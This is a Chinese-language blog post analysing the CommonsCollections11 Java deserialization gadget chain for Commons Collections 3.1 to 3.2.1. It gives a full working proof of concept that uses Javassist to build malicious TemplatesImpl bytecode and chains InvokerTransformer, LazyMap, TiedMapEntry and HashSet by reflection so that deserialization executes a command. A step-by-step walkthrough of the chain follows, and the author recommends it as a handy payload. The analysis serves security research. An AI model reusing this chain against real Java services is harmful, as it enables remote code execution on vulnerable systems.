CommonsCollections11 分析

0x00 前言

在看三梦师傅有关内存马的文章的时候,发现三梦师傅是用 cc11 打的,之前也听队里的丁师傅说过 cc11 蛮好用的,这次既然遇到了就来看一下

cc11 好用的原因个人认为主要是 能够像 cc2 一样加载恶意字节码,同时受影响的版本还是 CommonsCollections 3.1-3.2.1 这个版本相对 CommonsCollections 4.0 范围应该会更广一些

个人觉得像是 cc2 和 cc6 的杂交

0x01 正文

利用版本

CommonsCollections 3.1-3.2.1

限制

JDK版本:暂无限制

Poc

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;

@SuppressWarnings("all")
public class cc11 {
    public static void main(String[] args) throws Exception {

        // 利用javasist动态创建恶意字节码
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open  /System/Applications/Calculator.app\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错

        // 写入.class 文件
        // 将我的恶意类转成字节码,并且反射设置 bytecodes
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field f0 = templates.getClass().getDeclaredField("_bytecodes");
        f0.setAccessible(true);
        f0.set(templates,targetByteCodes);

        f0 = templates.getClass().getDeclaredField("_name");
        f0.setAccessible(true);
        f0.set(templates,"name");

        f0 = templates.getClass().getDeclaredField("_class");
        f0.setAccessible(true);
        f0.set(templates,null);

        InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
        TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
        HashSet hashset = new HashSet(1);
        hashset.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
        f.setAccessible(true);
        HashMap hashset_map = (HashMap) f.get(hashset);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        f2.setAccessible(true);
        Object[] array = (Object[])f2.get(hashset_map);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }
        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        keyField.setAccessible(true);
        keyField.set(node,tiedmap);

        Field f3 = transformer.getClass().getDeclaredField("iMethodName");
        f3.setAccessible(true);
        f3.set(transformer,"newTransformer");

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11"));
            outputStream.writeObject(hashset);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc11"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

}

分析

前半段就是利用 javasist 动态生成恶意类,这块在前文 cc2 的分析中提及过,所以就不重再赘述了

image-20210408080741744

我们主要来分析后面的部分

首先来看一下利用链,有没有发现很熟悉,这不就是 cc6 Poc 的后半部分吗233

image-20210407184633500

在 cc11 中最后是利用 InvokerTransformer 调用 TemplatesImpl#newTransformer 加载恶意字节码来实现的触发的

image-20210407180351011

接下来我们具体分析一下,在 cc11 的 payload 中,我们发现并没有使用之前的链,而是只用了 InvokerTransformer ,通过构造函数将 toString 进行传入(其实这里的 toString 只是占位的作用,后面会利用反射进行修改)

InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

image-20210407171305260

然后将我们的 transformer 传入到了 LazyMap#decorate 中

image-20210407180740518

在 LazyMap#get 中会调用我们传入的 transformer 的 transform ,所以后面我们只要找到调用 LazyMap#get 就能进行触发

image-20210407180919984

后面就和 cc6 后半部分一样,这边简单说一下,具体分析可以查看上一篇文章:https://www.yuque.com/tianxiadamutou/zcfd4v/ac9529#df9c9706-4

在 TiedMapEntry#getValue 中调用了 get 方法,且 map 我们可控,为了扩大利用范围我们需要找到调用 getValue 的地方

image-20210407181736930

发现在 hashCode 中调用了,所以接下来我们需要找一个获取哈希的地方

image-20210407181922299

所以这里又找到了 HashMap#put,如果 key 可控就会调用 key 的 hashCode 函数,所以接下来目标就是寻找 HashMap#put 且传入的 key 可控

image-20210407182449213
image-20210407182517078

这里利用了 HashSet#readObject ,如果我们能控制 e 那么就有可能触发,这里 e 是根据 s 反序列化得来的

image-20210407182634215

我们查看对应序列化的方法 ,如果我们能控制 HashSet 的 map 属性中的 key 那么就能触发 RCE

image-20210407182729353

所以我们这里利用反射来进行设置

Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
        f.setAccessible(true);
        HashMap hashset_map = (HashMap) f.get(hashset);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        f2.setAccessible(true);
        Object[] array = (Object[])f2.get(hashset_map);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }
        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        keyField.setAccessible(true);
        keyField.set(node,tiedmap);

最后利用反射修改我们之前 InvokerTransformer 中的 iMethodName属性(这样是为了防止我们在生成 payload 的时候触发 RCE,在前面的几条链中也会这么操作,有的时候在本地触发 RCE 之后会导致数值改变然后在服务端就无法触发 RCE 了)

        Field f3 = transformer.getClass().getDeclaredField("iMethodName");
        f3.setAccessible(true);
        f3.set(transformer,"newTransformer");

所以其实前面的 toString 也可以改为其他的参数,我在本地修改为其他的也可以正常进行触发

image-20210407183541385

0x02 总结

cc11 分析下来发现还是非常好用的,毕竟可以加载恶意字节码,同时利用范围也比较大,后面感兴趣的可以自行添加到 yso 中

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注